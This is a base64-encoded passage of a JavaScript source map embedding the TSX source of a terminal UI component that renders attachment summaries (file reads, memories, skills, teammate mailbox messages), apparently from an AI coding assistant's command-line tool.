WdlbnROYW1lIiwidDUiLCJ0NiIsIkxpbmUiLCJkaW1Db2xvciIsImNoaWxkcmVuIiwidW5kZWZpbmVkIl0sInNvdXJjZXMiOlsiQXR0YWNobWVudE1lc3NhZ2UudHN4Il0sInNvdXJjZXNDb250ZW50IjpbIi8vIGJpb21lLWlnbm9yZS1hbGwgYXNzaXN0L3NvdXJjZS9vcmdhbml6ZUltcG9ydHM6IEFOVC1PTkxZIGltcG9ydCBtYXJrZXJzIG11c3Qgbm90IGJlIHJlb3JkZXJlZFxuaW1wb3J0IFJlYWN0LCB7IHVzZU1lbW8gfSBmcm9tICdyZWFjdCdcbmltcG9ydCB7IEFuc2ksIEJveCwgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB0eXBlIHsgQXR0YWNobWVudCB9IGZyb20gJ3NyYy91dGlscy9hdHRhY2htZW50cy5qcydcbmltcG9ydCB0eXBlIHsgTnVsbFJlbmRlcmluZ0F0dGFjaG1lbnRUeXBlIH0gZnJvbSAnLi9udWxsUmVuZGVyaW5nQXR0YWNobWVudHMuanMnXG5pbXBvcnQgeyB1c2VBcHBTdGF0ZSB9IGZyb20gJy4uLy4uL3N0YXRlL0FwcFN0YXRlLmpzJ1xuaW1wb3J0IHsgZ2V0RGlzcGxheVBhdGggfSBmcm9tICdzcmMvdXRpbHMvZmlsZS5qcydcbmltcG9ydCB7IGZvcm1hdEZpbGVTaXplIH0gZnJvbSAnc3JjL3V0aWxzL2Zvcm1hdC5qcydcbmltcG9ydCB7IE1lc3NhZ2VSZXNwb25zZSB9IGZyb20gJy4uL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IGJhc2VuYW1lLCBzZXAgfSBmcm9tICdwYXRoJ1xuaW1wb3J0IHsgVXNlclRleHRNZXNzYWdlIH0gZnJvbSAnLi9Vc2VyVGV4dE1lc3NhZ2UuanMnXG5pbXBvcnQgeyBEaWFnbm9zdGljc0Rpc3BsYXkgfSBmcm9tICcuLi9EaWFnbm9zdGljc0Rpc3BsYXkuanMnXG5pbXBvcnQgeyBnZXRDb250ZW50VGV4dCB9IGZyb20gJ3NyYy91dGlscy9tZXNzYWdlcy5qcydcbmltcG9ydCB0eXBlIHsgVGhlbWUgfSBmcm9tICdzcmMvdXRpbHMvdGhlbWUuanMnXG5pbXBvcnQgeyBVc2VySW1hZ2VNZXNzYWdlIH0gZnJvbSAnLi9Vc2VySW1hZ2VNZXNzYWdlLmpzJ1xuaW1wb3J0IHsgdG9JbmtDb2xvciB9IGZyb20gJy4uLy4uL3V0aWxzL2luay5qcydcbmltcG9ydCB7IGpzb25QYXJzZSB9IGZyb20gJy4uLy4uL3V0aWxzL3Nsb3dPcGVyYXRpb25zLmpzJ1xuaW1wb3J0IHsgcGx1cmFsIH0gZnJvbSAnLi4vLi4vdXRpbHMvc3RyaW5nVXRpbHMuanMnXG5pbXBvcnQgeyBpc0VudlRydXRoeSB9IGZyb20gJy4uLy4uL3V0aWxzL2VudlV0aWxzLmpzJ1xuaW1wb3J0IHsgaXNBZ2VudFN3YXJtc0VuYWJsZWQgfSBmcm9tICcuLi8uLi91dGlscy9hZ2VudFN3YXJtc0VuYWJsZWQuanMnXG5pbXBvcnQge1xuICB0cnlSZW5kZXJQbGFuQXBwcm92YWxNZXNzYWdlLFxuICBmb3JtYXRUZWFtbWF0ZU1lc3NhZ2VDb250ZW50LFxufSBmcm9tICcuL1BsYW5BcHByb3ZhbE1lc3NhZ2UuanMnXG5pbXBvcnQgeyBCTEFDS19DSVJDTEUgfSBmcm9tICcuLi8uLi9jb25zdGFudHMvZmlndXJlcy5qcydcbmltcG9ydCB7IFRlYW1tYXRlTWVzc2FnZUNvbnRlbnQgfSBmcm9tICcuL1VzZXJUZWFtbWF0ZU1lc3NhZ2UuanMnXG5pbXBvcnQgeyBpc1NodXRkb3duQXBwcm92ZWQgfSBmcm9tICcuLi8uLi91dGlscy90ZWFtbWF0ZU1haWxib3guanMnXG5pbXBvcnQgeyBDdHJsT1RvRXhwYW5kIH0gZnJvbSAnLi4vQ3RybE9Ub0V4cGFuZC5qcydcbmltcG9ydCB7IEZpbGVQYXRoTGluayB9IGZyb20gJy4uL0ZpbGVQYXRoTGluay5qcydcbmltcG9ydCB7IGZlYXR1cmUgfSBmcm9tICdidW46YnVuZGxlJ1xuaW1wb3J0IHsgdXNlU2VsZWN0ZWRNZXNzYWdlQmcgfSBmcm9tICcuLi9tZXNzYWdlQWN0aW9ucy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgYWRkTWFyZ2luOiBib29sZWFuXG4gIGF0dGFjaG1lbnQ6IEF0dGFjaG1lbnRcbiAgdmVyYm9zZTogYm9vbGVhblxuICBpc1RyYW5zY3JpcHRNb2RlPzogYm9vbGVhblxufVxuXG5leHBvcnQgZnVuY3Rpb24gQXR0YWNobWVudE1lc3NhZ2Uoe1xuICBhdHRhY2htZW50LFxuICBhZGRNYXJnaW4sXG4gIHZlcmJvc2UsXG4gIGlzVHJhbnNjcmlwdE1vZGUsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IGJnID0gdXNlU2VsZWN0ZWRNZXNzYWdlQmcoKVxuICAvLyBIb2lzdGVkIHRvIG1vdW50LXRpbWUg4oCUIHBlci1tZXNzYWdlIGNvbXBvbmVudCwgcmUtcmVuZGVycyBvbiBldmVyeSBzY3JvbGwuXG4gIGNvbnN0IGlzRGVtb0VudiA9IGZlYXR1cmUoJ0VYUEVSSU1FTlRBTF9TS0lMTF9TRUFSQ0gnKVxuICAgID8gLy8gYmlvbWUtaWdub3JlIGxpbnQvY29ycmVjdG5lc3MvdXNlSG9va0F0VG9wTGV2ZWw6IGZlYXR1cmUoKSBpcyBhIGNvbXBpbGUtdGltZSBjb25zdGFudFxuICAgICAgdXNlTWVtbygoKSA9PiBpc0VudlRydXRoeShwcm9jZXNzLmVudi5JU19ERU1PKSwgW10pXG4gICAgOiBmYWxzZVxuICAvLyBIYW5kbGUgdGVhbW1hdGVfbWFpbGJveCBCRUZPUkUgc3dpdGNoXG4gIGlmIChpc0FnZW50U3dhcm1zRW5hYmxlZCgpICYmIGF0dGFjaG1lbnQudHlwZSA9PT0gJ3RlYW1tYXRlX21haWxib3gnKSB7XG4gICAgLy8gRmlsdGVyIG91dCBpZGxlIG5vdGlmaWNhdGlvbnMgQkVGT1JFIGNvdW50aW5nIC0gdGhleSBhcmUgaGlkZGVuIGluIHRoZSBVSVxuICAgIC8vIHNvIHNob3dpbmcgdGhlbSBpbiB0aGUgY291bnQgd291bGQgYmUgY29uZnVzaW5nIChcIjIgbWVzc2FnZXMgaW4gbWFpbGJveDpcIiB3aXRoIG5vdGhpbmcgc2hvd24pXG4gICAgY29uc3QgdmlzaWJsZU1lc3NhZ2VzID0gYXR0YWNobWVudC5tZXNzYWdlcy5maWx0ZXIobXNnID0+IHtcbiAgICAgIGlmIChpc1NodXRkb3duQXBwcm92ZWQobXNnLnRleHQpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZVxuICAgICAgfVxuICAgICAgdHJ5IHtcbiAgICAgICAgY29uc3QgcGFyc2VkID0ganNvblBhcnNlKG1zZy50ZXh0KVxuICAgICAgICByZXR1cm4gKFxuICAgICAgICAgIHBhcnNlZD8udHlwZSAhPT0gJ2lkbGVfbm90aWZpY2F0aW9uJyAmJlxuICAgICAgICAgIHBhcnNlZD8udHlwZSAhPT0gJ3RlYW1tYXRlX3Rlcm1pbmF0ZWQnXG4gICAgICAgIClcbiAgICAgIH0gY2F0Y2gge1xuICAgICAgICByZXR1cm4gdHJ1ZSAvLyBOb24tSlNPTiBtZXNzYWdlcyBhcmUgdmlzaWJsZVxuICAgICAgfVxuICAgIH0pXG5cbiAgICBpZiAodmlzaWJsZU1lc3NhZ2VzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgcmV0dXJuIG51bGxcbiAgICB9XG4gICAgcmV0dXJuIChcbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICB7dmlzaWJsZU1lc3NhZ2VzLm1hcCgobXNnLCBpZHgpID0+IHtcbiAgICAgICAgICAvLyBUcnkgdG8gcGFyc2UgYXMgSlNPTiBmb3IgdGFza19hc3NpZ25tZW50IG1lc3NhZ2VzXG4gICAgICAgICAgbGV0IHBhcnNlZE1zZzoge1xuICAgICAgICAgICAgdHlwZT86IHN0cmluZ1xuICAgICAgICAgICAgdGFza0lkPzogc3RyaW5nXG4gICAgICAgICAgICBzdWJqZWN0Pzogc3RyaW5nXG4gICAgICAgICAgICBhc3NpZ25lZEJ5Pzogc3RyaW5nXG4gICAgICAgICAgfSB8IG51bGwgPSBudWxsXG4gICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgIHBhcnNlZE1zZyA9IGpzb25QYXJzZShtc2cudGV4dClcbiAgICAgICAgICB9IGNhdGNoIHtcbiAgICAgICAgICAgIC8vIE5vdCBKU09OLCB0cmVhdCBhcyBwbGFpbiB0ZXh0XG4gICAgICAgICAgfVxuXG4gICAgICAgICAgaWYgKHBhcnNlZE1zZz8udHlwZSA9PT0gJ3Rhc2tfYXNzaWdubWVudCcpIHtcbiAgICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICAgIDxCb3gga2V5PXtpZHh9IHBhZGRpbmdMZWZ0PXsyfT5cbiAgICAgICAgICAgICAgICA8VGV4dD57QkxBQ0tfQ0lSQ0xFfSA8L1RleHQ+XG4gICAgICAgICAgICAgICAgPFRleHQ+VGFzayBhc3NpZ25lZDogPC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGJvbGQ+I3twYXJzZWRNc2cudGFza0lkfTwvVGV4dD5cbiAgICAgICAgICAgICAgICA8VGV4dD4gLSB7cGFyc2VkTXNnLnN1YmplY3R9PC9UZXh0PlxuICAgICAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPiAoZnJvbSB7cGFyc2VkTXNnLmFzc2lnbmVkQnkgfHwgbXNnLmZyb219KTwvVGV4dD5cbiAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICApXG4gICAgICAgICAgfVxuXG4gICAgICAgICAgLy8gTm90ZTogaWRsZV9ub3RpZmljYXRpb24gbWVzc2FnZXMgYWxyZWFkeSBmaWx0ZXJlZCBvdXQgYWJvdmVcblxuICAgICAgICAgIC8vIFRyeSB0byByZW5kZXIgYXMgcGxhbiBhcHByb3ZhbCBtZXNzYWdlIChyZXF1ZXN0IG9yIHJlc3BvbnNlKVxuICAgICAgICAgIGNvbnN0IHBsYW5BcHByb3ZhbEVsZW1lbnQgPSB0cnlSZW5kZXJQbGFuQXBwcm92YWxNZXNzYWdlKFxuICAgICAgICAgICAgbXNnLnRleHQsXG4gICAgICAgICAgICBtc2cuZnJvbSxcbiAgICAgICAgICApXG4gICAgICAgICAgaWYgKHBsYW5BcHByb3ZhbEVsZW1lbnQpIHtcbiAgICAgICAgICAgIHJldHVybiAoXG4gICAgICAgICAgICAgIDxSZWFjdC5GcmFnbWVudCBrZXk9e2lkeH0+e3BsYW5BcHByb3ZhbEVsZW1lbnR9PC9SZWFjdC5GcmFnbWVudD5cbiAgICAgICAgICAgIClcbiAgICAgICAgICB9XG5cbiAgICAgICAgICAvLyBQbGFpbiB0ZXh0IG1lc3NhZ2UgLSBzZW5kZXIgaGVhZGVyIHdpdGggY2hldnJvbiwgdHJ1bmNhdGVkIGNvbnRlbnRcbiAgICAgICAgICBjb25zdCBpbmtDb2xvciA9IHRvSW5rQ29sb3IobXNnLmNvbG9yKVxuICAgICAgICAgIGNvbnN0IGZvcm1hdHRlZENvbnRlbnQgPVxuICAgICAgICAgICAgZm9ybWF0VGVhbW1hdGVNZXNzYWdlQ29udGVudChtc2cudGV4dCkgPz8gbXNnLnRleHRcbiAgICAgICAgICByZXR1cm4gKFxuICAgICAgICAgICAgPFRlYW1tYXRlTWVzc2FnZUNvbnRlbnRcbiAgICAgICAgICAgICAga2V5PXtpZHh9XG4gICAgICAgICAgICAgIGRpc3BsYXlOYW1lPXttc2cuZnJvbX1cbiAgICAgICAgICAgICAgaW5rQ29sb3I9e2lua0NvbG9yfVxuICAgICAgICAgICAgICBjb250ZW50PXtmb3JtYXR0ZWRDb250ZW50fVxuICAgICAgICAgICAgICBzdW1tYXJ5PXttc2cuc3VtbWFyeX1cbiAgICAgICAgICAgICAgaXNUcmFuc2NyaXB0TW9kZT17aXNUcmFuc2NyaXB0TW9kZX1cbiAgICAgICAgICAgIC8+XG4gICAgICAgICAgKVxuICAgICAgICB9KX1cbiAgICAgIDwvQm94PlxuICAgIClcbiAgfVxuXG4gIC8vIHNraWxsX2Rpc2NvdmVyeSByZW5kZXJlZCBoZXJlIChub3QgaW4gdGhlIHN3aXRjaCkgc28gdGhlICdza2lsbF9kaXNjb3ZlcnknXG4gIC8vIHN0cmluZyBsaXRlcmFsIHN0YXlzIGluc2lkZSBhIGZlYXR1cmUoKS1ndWFyZGVkIGJsb2NrLiBBIGNhc2UgbGFiZWwgY2FuJ3RcbiAgLy8gYmUgY29uZGl0aW9uYWxseSBlbGltaW5hdGVkOyBhbiBpZi1ib2R5IGNhbi5cbiAgaWYgKGZlYXR1cmUoJ0VYUEVSSU1FTlRBTF9TS0lMTF9TRUFSQ0gnKSkge1xuICAgIGlmIChhdHRhY2htZW50LnR5cGUgPT09ICdza2lsbF9kaXNjb3ZlcnknKSB7XG4gICAgICBpZiAoYXR0YWNobWVudC5za2lsbHMubGVuZ3RoID09PSAwKSByZXR1cm4gbnVsbFxuICAgICAgLy8gQW50IHVzZXJzIGdldCBzaG9ydElkcyBpbmxpbmUgc28gdGhleSBjYW4gL3NraWxsLWZlZWRiYWNrIHdoaWxlIHRoZVxuICAgICAgLy8gdHVybiBpcyBzdGlsbCBmcmVzaC4gRXh0ZXJuYWwgdXNlcnMgKHdoZW4gdGhpcyB1bi1nYXRlcykganVzdCBzZWVcbiAgICAgIC8vIG5hbWVzIOKAlCBzaG9ydElkIGlzIHVuZGVmaW5lZCBvdXRzaWRlIGFudCBidWlsZHMgYW55d2F5LlxuICAgICAgY29uc3QgbmFtZXMgPSBhdHRhY2htZW50LnNraWxsc1xuICAgICAgICAubWFwKHMgPT4gKHMuc2hvcnRJZCA/IGAke3MubmFtZX0gWyR7cy5zaG9ydElkfV1gIDogcy5uYW1lKSlcbiAgICAgICAgLmpvaW4oJywgJylcbiAgICAgIGNvbnN0IGZpcnN0SWQgPSBhdHRhY2htZW50LnNraWxsc1swXT8uc2hvcnRJZFxuICAgICAgY29uc3QgaGludCA9XG4gICAgICAgIFwiZXh0ZXJuYWxcIiA9PT0gJ2FudCcgJiYgIWlzRGVtb0VudiAmJiBmaXJzdElkXG4gICAgICAgICAgPyBgIMK3IC9za2lsbC1mZWVkYmFjayAke2ZpcnN0SWR9IDE9d3JvbmcgMj1ub2lzeSAzPWdvb2QgW2NvbW1lbnRdYFxuICAgICAgICAgIDogJydcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIDxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuc2tpbGxzLmxlbmd0aH08L1RleHQ+IHJlbGV2YW50eycgJ31cbiAgICAgICAgICB7cGx1cmFsKGF0dGFjaG1lbnQuc2tpbGxzLmxlbmd0aCwgJ3NraWxsJyl9OiB7bmFtZXN9XG4gICAgICAgICAge2hpbnQgJiYgPFRleHQgZGltQ29sb3I+e2hpbnR9PC9UZXh0Pn1cbiAgICAgICAgPC9MaW5lPlxuICAgICAgKVxuICAgIH1cbiAgfVxuXG4gIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBAdHlwZXNjcmlwdC1lc2xpbnQvc3dpdGNoLWV4aGF1c3RpdmVuZXNzLWNoZWNrIC0tIHRlYW1tYXRlX21haWxib3gvc2tpbGxfZGlzY292ZXJ5IGhhbmRsZWQgYmVmb3JlIHN3aXRjaFxuICBzd2l0Y2ggKGF0dGFjaG1lbnQudHlwZSkge1xuICAgIGNhc2UgJ2RpcmVjdG9yeSc6XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TGluZT5cbiAgICAgICAgICBMaXN0ZWQgZGlyZWN0b3J5IDxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuZGlzcGxheVBhdGggKyBzZXB9PC9UZXh0PlxuICAgICAgICA8L0xpbmU+XG4gICAgICApXG4gICAgY2FzZSAnZmlsZSc6XG4gICAgY2FzZSAnYWxyZWFkeV9yZWFkX2ZpbGUnOlxuICAgICAgaWYgKGF0dGFjaG1lbnQuY29udGVudC50eXBlID09PSAnbm90ZWJvb2snKSB7XG4gICAgICAgIHJldHVybiAoXG4gICAgICAgICAgPExpbmU+XG4gICAgICAgICAgICBSZWFkIDxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuZGlzcGxheVBhdGh9PC9UZXh0PiAoXG4gICAgICAgICAgICB7YXR0YWNobWVudC5jb250ZW50LmZpbGUuY2VsbHMubGVuZ3RofSBjZWxscylcbiAgICAgICAgICA8L0xpbmU+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICAgIGlmIChhdHRhY2htZW50LmNvbnRlbnQudHlwZSA9PT0gJ2ZpbGVfdW5jaGFuZ2VkJykge1xuICAgICAgICByZXR1cm4gKFxuICAgICAgICAgIDxMaW5lPlxuICAgICAgICAgICAgUmVhZCA8VGV4dCBib2xkPnthdHRhY2htZW50LmRpc3BsYXlQYXRofTwvVGV4dD4gKHVuY2hhbmdlZClcbiAgICAgICAgICA8L0xpbmU+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIFJlYWQgPFRleHQgYm9sZD57YXR0YWNobWVudC5kaXNwbGF5UGF0aH08L1RleHQ+IChcbiAgICAgICAgICB7YXR0YWNobWVudC5jb250ZW50LnR5cGUgPT09ICd0ZXh0J1xuICAgICAgICAgICAgPyBgJHthdHRhY2htZW50LmNvbnRlbnQuZmlsZS5udW1MaW5lc30ke2F0dGFjaG1lbnQudHJ1bmNhdGVkID8gJysnIDogJyd9IGxpbmVzYFxuICAgICAgICAgICAgOiBmb3JtYXRGaWxlU2l6ZShhdHRhY2htZW50LmNvbnRlbnQuZmlsZS5vcmlnaW5hbFNpemUpfVxuICAgICAgICAgIClcbiAgICAgICAgPC9MaW5lPlxuICAgICAgKVxuICAgIGNhc2UgJ2NvbXBhY3RfZmlsZV9yZWZlcmVuY2UnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPExpbmU+XG4gICAgICAgICAgUmVmZXJlbmNlZCBmaWxlIDxUZXh0IGJvbGQ+e2F0dGFjaG1lbnQuZGlzcGxheVBhdGh9PC9UZXh0PlxuICAgICAgICA8L0xpbmU+XG4gICAgICApXG4gICAgY2FzZSAncGRmX3JlZmVyZW5jZSc6XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TGluZT5cbiAgICAgICAgICBSZWZlcmVuY2VkIFBERiA8VGV4dCBib2xkPnthdHRhY2htZW50LmRpc3BsYXlQYXRofTwvVGV4dD4gKFxuICAgICAgICAgIHthdHRhY2htZW50LnBhZ2VDb3VudH0gcGFnZXMpXG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICBjYXNlICdzZWxlY3RlZF9saW5lc19pbl9pZGUnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPExpbmU+XG4gICAgICAgICAg4qeJIFNlbGVjdGVkeycgJ31cbiAgICAgICAgICA8VGV4dCBib2xkPnthdHRhY2htZW50LmxpbmVFbmQgLSBhdHRhY2htZW50LmxpbmVTdGFydCArIDF9PC9UZXh0PnsnICd9XG4gICAgICAgICAgbGluZXMgZnJvbSA8VGV4dCBib2xkPnthdHRhY2htZW50LmRpc3BsYXlQYXRofTwvVGV4dD4gaW57JyAnfVxuICAgICAgICAgIHthdHRhY2htZW50LmlkZU5hbWV9XG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICBjYXNlICduZXN0ZWRfbWVtb3J5JzpcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIExvYWRlZCA8VGV4dCBib2xkPnthdHRhY2htZW50LmRpc3BsYXlQYXRofTwvVGV4dD5cbiAgICAgICAgPC9MaW5lPlxuICAgICAgKVxuICAgIGNhc2UgJ3JlbGV2YW50X21lbW9yaWVzJzpcbiAgICAgIC8vIFVzdWFsbHkgYWJzb3JiZWQgaW50byBhIENvbGxhcHNlZFJlYWRTZWFyY2hHcm91cCAoY29sbGFwc2VSZWFkU2VhcmNoLnRzKVxuICAgICAgLy8gc28gdGhpcyBvbmx5IHJlbmRlcnMgd2hlbiB0aGUgcHJlY2VkaW5nIHRvb2wgd2FzIG5vbi1jb2xsYXBzaWJsZSAoRWRpdCxcbiAgICAgIC8vIFdyaXRlKSBhbmQgbm8gZ3JvdXAgd2FzIG9wZW4uIE1hdGNoIENvbGxhcHNlZFJlYWRTZWFyY2hDb250ZW50J3Mgc3R5bGU6XG4gICAgICAvLyAyLXNwYWNlIGd1dHRlciwgZGltIHRleHQsIGNvdW50IG9ubHkg4oCUIGZpbGVuYW1lcy9jb250ZW50IGluIGN0cmwrby5cbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxCb3hcbiAgICAgICAgICBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCJcbiAgICAgICAgICBtYXJnaW5Ub3A9e2FkZE1hcmdpbiA/IDEgOiAwfVxuICAgICAgICAgIGJhY2tncm91bmRDb2xvcj17Ymd9XG4gICAgICAgID5cbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgICAgIDxCb3ggbWluV2lkdGg9ezJ9IC8+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgUmVjYWxsZWQgPFRleHQgYm9sZD57YXR0YWNobWVudC5tZW1vcmllcy5sZW5ndGh9PC9UZXh0PnsnICd9XG4gICAgICAgICAgICAgIHthdHRhY2htZW50Lm1lbW9yaWVzLmxlbmd0aCA9PT0gMSA/ICdtZW1vcnknIDogJ21lbW9yaWVzJ31cbiAgICAgICAgICAgICAgeyFpc1RyYW5zY3JpcHRNb2RlICYmIChcbiAgICAgICAgICAgICAgICA8PlxuICAgICAgICAgICAgICAgICAgeycgJ31cbiAgICAgICAgICAgICAgICAgIDxDdHJsT1RvRXhwYW5kIC8+XG4gICAgICAgICAgICAgICAgPC8+XG4gICAgICAgICAgICAgICl9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgeyh2ZXJib3NlIHx8IGlzVHJhbnNjcmlwdE1vZGUpICYmXG4gICAgICAgICAgICBhdHRhY2htZW50Lm1lbW9yaWVzLm1hcChtID0+IChcbiAgICAgICAgICAgICAgPEJveCBrZXk9e20ucGF0aH0gZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICAgICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAgICAgICAgPEZpbGVQYXRoTGluayBmaWxlUGF0aD17bS5wYXRofT5cbiAgICAgICAgICAgICAgICAgICAgICB7YmFzZW5hbWUobS5wYXRoKX1cbiAgICAgICAgICAgICAgICAgICAgPC9GaWxlUGF0aExpbms+XG4gICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgICAgICAge2lzVHJhbnNjcmlwdE1vZGUgJiYgKFxuICAgICAgICAgICAgICAgICAgPEJveCBwYWRkaW5nTGVmdD17NX0+XG4gICAgICAgICAgICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgICAgICAgICAgIDxBbnNpPnttLmNvbnRlbnR9PC9BbnNpPlxuICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICApfVxuICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICkpfVxuICAgICAgICA8L0JveD5cbiAgICAgIClcbiAgICBjYXNlICdkeW5hbWljX3NraWxsJzoge1xuICAgICAgY29uc3Qgc2tpbGxDb3VudCA9IGF0dGFjaG1lbnQuc2tpbGxOYW1lcy5sZW5ndGhcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIExvYWRlZHsnICd9XG4gICAgICAgICAgPFRleHQgYm9sZD5cbiAgICAgICAgICAgIHtza2lsbENvdW50fSB7cGx1cmFsKHNraWxsQ291bnQsICdza2lsbCcpfVxuICAgICAgICAgIDwvVGV4dD57JyAnfVxuICAgICAgICAgIGZyb20gPFRleHQgYm9sZD57YXR0YWNobWVudC5kaXNwbGF5UGF0aH08L1RleHQ+XG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAnc2tpbGxfbGlzdGluZyc6IHtcbiAgICAgIGlmIChhdHRhY2htZW50LmlzSW5pdGlhbCkge1xuICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgfVxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPExpbmU+XG4gICAgICAgICAgPFRleHQgYm9sZD57YXR0YWNobWVudC5za2lsbENvdW50fTwvVGV4dD57JyAnfVxuICAgICAgICAgIHtwbHVyYWwoYXR0YWNobWVudC5za2lsbENvdW50LCAnc2tpbGwnKX0gYXZhaWxhYmxlXG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAnYWdlbnRfbGlzdGluZ19kZWx0YSc6IHtcbiAgICAgIGlmIChhdHRhY2htZW50LmlzSW5pdGlhbCB8fCBhdHRhY2htZW50LmFkZGVkVHlwZXMubGVuZ3RoID09PSAwKSB7XG4gICAgICAgIHJldHVybiBudWxsXG4gICAgICB9XG4gICAgICBjb25zdCBjb3VudCA9IGF0dGFjaG1lbnQuYWRkZWRUeXBlcy5sZW5ndGhcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIDxUZXh0IGJvbGQ+e2NvdW50fTwvVGV4dD4gYWdlbnQge3BsdXJhbChjb3VudCwgJ3R5cGUnKX0gYXZhaWxhYmxlXG4gICAgICAgIDwvTGluZT5cbiAgICAgIClcbiAgICB9XG4gICAgY2FzZSAncXVldWVkX2NvbW1hbmQnOiB7XG4gICAgICBjb25zdCB0ZXh0ID1cbiAgICAgICAgdHlwZW9mIGF0dGFjaG1lbnQucHJvbXB0ID09PSAnc3RyaW5nJ1xuICAgICAgICAgID8gYXR0YWNobWVudC5wcm9tcHRcbiAgICAgICAgICA6IGdldENvbnRlbnRUZXh0KGF0dGFjaG1lbnQucHJvbXB0KSB8fCAnJ1xuICAgICAgY29uc3QgaGFzSW1hZ2VzID1cbiAgICAgICAgYXR0YWNobWVudC5pbWFnZVBhc3RlSWRzICYmIGF0dGFjaG1lbnQuaW1hZ2VQYXN0ZUlkcy5sZW5ndGggPiAwXG4gICAgICByZXR1cm4gKFxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICA8VXNlclRleHRNZXNzYWdlXG4gICAgICAgICAgICBhZGRNYXJnaW49e2FkZE1hcmdpbn1cbiAgICAgICAgICAgIHBhcmFtPXt7IHRleHQsIHR5cGU6ICd0ZXh0JyB9fVxuICAgICAgICAgICAgdmVyYm9zZT17dmVyYm9zZX1cbiAgICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2lzVHJhbnNjcmlwdE1vZGV9XG4gICAgICAgICAgLz5cbiAgICAgICAgICB7aGFzSW1hZ2VzICYmXG4gICAgICAgICAgICBhdHRhY2htZW50LmltYWdlUGFzdGVJZHM/Lm1hcChpZCA9PiAoXG4gICAgICAgICAgICAgIDxVc2VySW1hZ2VNZXNzYWdlIGtleT17aWR9IGltYWdlSWQ9e2lkfSAvPlxuICAgICAgICAgICAgKSl9XG4gICAgICAgIDwvQm94PlxuICAgICAgKVxuICAgIH1cbiAgICBjYXNlICdwbGFuX2ZpbGVfcmVmZXJlbmNlJzpcbiAgICAgIHJldHVybiAoXG4gICAgICAgIDxMaW5lPlxuICAgICAgICAgIFBsYW4gZmlsZSByZWZlcmVuY2VkICh7Z2V0RGlzcGxheVBhdGgoYXR0YWNobWVudC5wbGFuRmlsZVBhdGgpfSlcbiAgICAgICAgPC9MaW5lPlxuICAgICAgKVxuICAgIGNhc2UgJ2ludm9rZWRfc2tpbGxzJzoge1xuICAgICAgaWYgKGF0dGFjaG1lbnQuc2tpbGxzLmxlbmd0aCA9PT0gMCkge1xuICAgICAgICByZXR1cm4gbnVsbFxuICAgICAgfVxuICAgICAgY29uc3Qgc2tpbGxOYW1lcyA9IGF0dGFjaG1lbnQuc2tpbGxzLm1hcChzID0+IHMubmFtZSkuam9pbignLCAnKVxuICAgICAgcmV0dXJuIDxMaW5lPlNraWxscyByZXN0b3JlZCAoe3NraWxsTmFtZXN9KTwvTGluZT5cbiAgICB9XG4gICAgY2FzZSAnZGlhZ25vc3RpY3MnOlxuICAgICAgcmV0dXJuIDxEaWFnbm9zdGljc0Rpc3BsYXkgYXR0YWNobWVudD17YXR0YWNobWVudH0gdmVyYm9zZT17dmVyYm9zZX0gLz5cbiAgICBjYXNlICdtY3BfcmVzb3VyY2UnOlxuICAgICAgcmV0dXJuIChcbiAgICAgICAgPExpbmU+XG4gICAgICAgICAgUmVhZCBNQ1